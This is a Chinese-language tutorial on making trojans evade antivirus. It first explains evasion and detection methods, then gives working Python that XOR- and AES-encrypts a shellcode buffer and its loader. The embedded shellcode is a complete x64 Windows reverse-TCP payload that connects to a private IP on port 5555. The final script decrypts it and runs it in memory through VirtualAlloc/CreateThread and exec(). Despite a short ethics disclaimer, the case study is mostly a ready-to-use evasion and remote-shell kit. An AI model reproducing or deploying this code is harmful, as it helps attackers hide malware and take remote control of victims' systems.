木马与免杀(3), 免杀原理, 加密免杀
一, 概念
木马免杀(Trojan Evasion)
是指在网络安全领域,使木马(Trojan)或其他恶意软件避免被安全软件如杀毒程序、防火墙等检测到的技术。这些技术通常由攻击者用来维持对受害者系统的控制,同时避免被发现。需要强调的是,了解木马免杀技术主要是为了加强防御措施,而非用于非法目的。
二, 常见的木马免杀技术:
-
代码混淆:通过修改恶意代码的结构而不改变其功能,来避免特征码匹配。这包括变量名、函数调用和控制流的改变。
-
加密或压缩:将恶意代码加密或压缩,使其在静态分析时不显示任何恶意特征。加密的代码在执行前需要解密,因此攻击者通常会在载荷中包含解密器。
-
使用合法的程序载体:将恶意代码注入到正常的、受信任的程序或文件中。这种方法使恶意软件看起来像是合法的应用程序。
-
利用未知漏洞(0day):利用安全软件尚未知晓的漏洞,因为没有现成的特征码或行为特征可供检测。
-
环境感知:恶意软件在执行之前检查是否在分析环境(如虚拟机或沙箱)中运行。如果检测到分析工具,它可能不执行恶意操作。
-
多阶段加载:分阶段加载恶意软件,每一步只执行部分恶意活动,以避免完整恶意功能的同时触发。
-
修改或禁用安全软件:直接攻击或修改系统上的安全软件,禁用它们的保护功能。
-
签名欺骗:使用伪造或盗用的数字签名来使恶意软件看起来像是由可信实体发布的。
了解这些技术对于安全研究人员来说非常重要,因为这有助于他们构建更有效的防御策略和工具。然而,这些技术的滥用可能涉及非法活动,并对个人和组织构成严重威胁。因此,在学习和讨论这些技术时,应始终保持高度的道德标准和合法性。
三, 杀毒原理
-
特征码检测:这是最传统的方法。每种病毒都有特定的代码序列,类似于生物学上的DNA。防病毒软件会维护一个庞大的病毒特征码数据库,对计算机上的文件进行扫描,匹配这些已知病毒的特征码。
-
启发式分析(Heuristics):由于新病毒不断出现,传统的特征码检测方法可能无法识别未知病毒。启发式分析是一种技术,通过分析文件的行为模式和代码结构来预测其是否为病毒,即使这种病毒以前未曾被识别。
-
行为监控:这种方法不是直接检查代码,而是监视程序在运行时的行为。如果一个程序尝试执行可疑的操作,如修改关键系统文件或在没有用户许可的情况下发送数据,防病毒软件会警报或阻止该行为。
-
沙箱测试:沙箱是一个隔离的环境,用于运行和分析可疑的程序而不影响主系统。如果程序在沙箱中表现出病毒行为,它就会被标记为危险。比如微步在线云沙箱, Cuckoo沙箱
-
云端分析:随着云计算技术的发展,许多防病毒解决方案开始利用云端资源进行更深入的分析。云端数据库可以实时更新,提供比本地数据库更广泛的病毒特征码信息,并允许更复杂的分析过程。
四, shellcode 免杀基本思路
- 对
shellcode
代码加密, 用异或, 转置, AES加密, Base64编码, 多轮加密等等. - 对
加载器代码
加密, 掩盖静态特征. - 分离代码, 将shellcode和加载器的代码放在远程主机, 通过下载方式进行加载, 掩盖静态特征.
- 进程注入, 或使用傀儡进程加载运行.
- 加壳, 木马混淆.
五, 代码加密和变形
1. 异或加密
二进制位相同为0, 不同为1
a是明文, b是秘钥, c是密文
加密: a ^ b = c
解密: b ^ c = a
# 加密:
pwd = b'hello'
key = 53
encoded_str = ''
for s in pwd:
encoded_str += str(s ^ 53) + '|'
print(encoded_str) # 93|80|89|89|90|
# 解密:
decoded_str = ''
for s in encoded_str.split('|'):
if s: decoded_str += chr(key ^ int(s))
print(decoded_str) # hello
2. 字符串反转
str = 'abc'
print(str[::-1])
3. 字节码转字符串
使用b2a_hex将其转换为十六进制字符串
import binascii
byte_data = b"Hello"
hex_string = binascii.b2a_hex(byte_data)
print(hex_string.decode())
4. AES加密
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
# 你的数据
buf = b""
buf += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64"
buf += b"\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f"
# 生成一个16字节的AES密钥
key = get_random_bytes(16)
# 初始化向量(对于CBC模式是必需的)
iv = get_random_bytes(AES.block_size)
# 创建AES加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 填充数据以使其长度是块大小的倍数
def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size).encode()
# 加密数据
encrypted_data = cipher.encrypt(pad(buf))
# 输出加密后的数据,通常以base64编码输出
encoded_encrypted_data = base64.b64encode(encrypted_data)
print(encoded_encrypted_data)
六, 综合案例 ShellCode 加密免杀
1. 加密 shellcode 和加载器
说明: 对shellcode代码进行异或和加密反转, 对加载器代码进行AES加密.
输出加密后的shellcode字符串和加载器字符串, 以及AES解密需要使用的key和iv.
import binascii
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
# 1. 对shellcode加密
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x4d\x31\xc9"
buf += b"\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x48\x31\xc0"
buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
buf += b"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b\x42\x3c"
buf += b"\x41\x51\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"
buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x50"
buf += b"\x49\x01\xd0\x8b\x48\x18\xe3\x56\x48\xff\xc9\x41"
buf += b"\x8b\x34\x88\x4d\x31\xc9\x48\x01\xd6\x48\x31\xc0"
buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"
buf += b"\x48\x01\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"
buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
buf += b"\x49\xbc\x02\x00\x15\xb3\xc0\xa8\x70\xc9\x41\x54"
buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"
buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"
buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"
buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"
buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"
buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"
buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"
buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"
source = binascii.b2a_hex(buf).decode()
reverse = source[::-1]
xor_key = 17
encrypt = ''
for s in reverse:
encrypt += str(ord(s) ^ xor_key) + '|'
encrypt = encrypt[:-1] # 反转
print(f'shellcode:\n{encrypt}')
# 2. 对加载器AES加密
loader_code = """ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(buf),0x3000,0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(ptr), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)"""
loader_code = loader_code.encode()
key = get_random_bytes(16)
iv = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size).encode()
encrypted_data = cipher.encrypt(pad(loader_code))
encoded_encrypted_data = base64.b64encode(encrypted_data)
print(f'key:{key}')
print(f'iv:{iv}')
print(f'loader_code:\n{encoded_encrypted_data}')
2. 解密 shellcode 和 加载器, 执行代码.
说明: 根据加密的流程对字符串进行解密还原, 执行加载器.
import ctypes
import base64
import binascii
from Crypto.Cipher import AES
shellcode = "36|117|119|119|39|36|35|112|36|115|33|119|35|114|38|114|40|37|40|36|33|33|112|39|41|36|38|116|119|119|32|37|37|115|36|38|39|119|36|41|41|37|39|114|40|35|41|37|34|114|32|33|41|37|119|119|119|119|119|119|114|34|40|116|116|114|119|119|40|37|36|117|119|119|32|39|117|37|116|39|36|38|112|115|32|37|40|36|38|36|36|117|119|119|33|34|119|33|119|35|115|33|112|115|32|37|112|36|33|33|112|39|41|36|32|37|33|33|33|33|33|37|33|33|41|39|40|36|38|36|32|37|41|36|41|35|117|38|33|33|41|119|34|41|36|117|119|119|119|36|41|114|40|117|35|33|112|115|32|37|40|119|40|41|41|37|112|117|40|41|41|37|33|119|40|41|40|37|40|114|32|34|117|37|38|114|40|41|40|37|34|114|40|41|41|37|36|117|119|119|36|116|34|36|37|112|41|36|112|115|32|37|40|114|32|34|41|37|35|119|40|41|41|37|41|36|32|37|33|33|33|33|33|32|33|33|41|39|40|36|32|37|33|37|112|39|39|119|40|41|116|36|33|35|37|114|34|41|41|37|36|36|116|38|33|33|41|119|34|41|36|117|119|119|119|36|41|114|40|117|35|33|112|115|32|37|40|119|40|41|41|37|41|36|32|37|37|33|112|39|40|114|32|34|117|37|35|116|40|41|41|37|33|32|114|116|34|41|41|37|33|33|33|33|33|33|34|40|41|116|36|116|36|38|116|114|119|119|40|37|112|33|37|38|33|114|36|41|36|117|119|119|32|39|37|38|36|112|40|40|112|115|32|37|40|119|40|41|41|37|35|116|40|41|114|37|41|36|32|37|33|32|112|39|38|114|40|41|41|37|36|117|119|119|33|116|119|117|119|33|112|116|112|115|32|37|32|114|40|41|41|37|33|114|119|119|41|37|35|114|40|41|41|37|33|114|119|119|41|37|33|114|32|34|117|37|40|114|32|34|117|37|33|36|33|36|116|36|32|37|112|33|112|39|36|117|119|119|33|33|115|39|33|41|40|35|112|115|32|37|40|36|33|33|33|33|32|33|32|33|41|39|112|116|40|41|114|37|36|117|119|119|38|33|39|35|38|38|114|37|112|115|32|37|32|119|40|41|114|37|37|116|40|41|40|37|37|36|32|37|40|114|33|38|41|112|33|114|34|115|36|32|33|33|35|33|114|115|40|37|36|116|40|41|40|37|33|33|33|33|32|33|33|112|114|116|32|41|41|37|39|116|40|41|40|37|39|36|32|37|33|33|33|33|35|34|34|34|119|36|35|34|34|38|38|38|116|115|40|37|117|36|119|119|119|119|119|119|115|37|40|116|35|32|115|41|41|37|112|36|40|36|32|37|41|36|33|116|119|119|35|36|32|37|33|35|114|116|34|41|41|37|112|36|32|37|40|36|32|37|41|36|32|37|112|36|40|36|116|36|41|36|32|37|33|117|32|33|41|37|41|36|32|37|41|41|37|33|115|41|32|37|33|117|32|33|40|37|114|32|33|37|115|41|37|37|41|37|114|33|115|41|32|37|39|39|33|117|32|33|40|37|37|35|33|37|115|41|37|37|41|36|41|117|36|38|32|117|40|34|36|37|41|33|37|35|114|37|34|33|114|37|32|119|36|38|33|116|41|34|32|114|32|33|32|37|117|33|40|114|32|114|32|37|114|112|33|114|32|34|41|37|39|117|32|33|41|37|40|114|32|34|117|37|41|41|37|34|115|41|32|37|40|114|119|119|41|37|39|36|34|116|41|32|41|37|115|41|33|117|32|33|40|37|33|36|33|35|33|37|115|41|37|37|33|117|32|33|41|37|38|39|37|38|33|114|36|41|41|37|33|33|33|33|33|33|41|41|33|41|115|41|33|33|33|33|33|33|35|38|36|41|119|33|35|33|115|33|41|32|41|38|32|41|39|39|33|117|32|33|41|37|32|36|32|37|114|34|35|37|115|41|33|35|35|36|115|41|41|37|35|36|117|116|35|116|32|114|32|33|32|37|117|33|40|114|32|114|32|37|33|35|114|35|35|33|114|38|32|39|114|34|114|112|33|114|32|34|41|37|33|36|35|38|115|41|41|37|112|37|112|37|38|115|119|33|41|37|40|114|32|34|117|37|33|35|35|36|115|41|41|37|41|32|35|36|115|41|41|37|33|39|35|36|115|41|41|37|36|39|35|117|32|34|41|37|39|36|32|36|35|36|33|36|32|37|32|36|32|37|33|33|33|33|33|33|114|114|41|116|33|119|37|116|34|41|41|37|114|119"
loadercode = b"ihoWYMHoYnlzu6RECtUnG5HsfU/3BvOth2HUCbx7n0e6kq1h7lM4hhGamCoL9Db49S9ZcKAQWHxKWet/v5hFJu4ghwZZK6ekan/byM7xnf9p5SV4ng3jJ2O7IbE7Pz8StQhveqoxEHzVOs31J8IGNSfJR21Cq2KsPmky8M3B2ZinhlN3Cj8R9WKY3s6HXkHfe3I+r900qHi3PIMDVeiDx5MPIEE2Dcn+p/IqOFRi3y03+MHzSn37JD2SkeEyLmHw5PxlcW0o2V0V3upTsIxBk9ozU8AMo9uDJKvs+/7syO73WU7W3WM2dDjr4EjITK92YN3UTgoB1BtB7HL339B1WOKHpTGVkOFRjQBsS/SbU2vQ4sQurPtRxN9c7ZE5edYZPb2oU2jVoWGOcPt7tH9v/Owy9TBUICyyYrpqTyUcv1atdHYyf2h5T0ND+vU4wsuZp9FvFTbksHCaWNM7hIHjYKEEYNB7eCbzB44X2XfI/DXIXVSK/lAkJELKpF3H6sWA"
xor_key = 17
key = b'\x13\x12[@\xb2\x02\xbf\x87\xd9\xe7A~"\x82\xdb\xd2'
iv = b'\xfeO\x98\xe6&\x8e;\xd4,t\xce\xe8\xee\x91\xda7'
# 解密shellcode
decoded_xor_str = ''
for s in shellcode.split('|'):
decoded_xor_str += chr(xor_key ^ int(s))
decoded_xor_str = decoded_xor_str[::-1]
# 注意这里的buf变量, 因为加载器中执行的shellcode的变量名是buf, 需要与加载器一致.
buf = binascii.a2b_hex(decoded_xor_str)
# 解密加载器
decoded_aes_hex = base64.b64decode(loadercode)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(decoded_aes_hex)
decrypted_data = decrypted_data.decode()
decrypted_data = decrypted_data.strip(decrypted_data[-1]) # 去除尾部填充字符
# 执行加载器
exec(decrypted_data)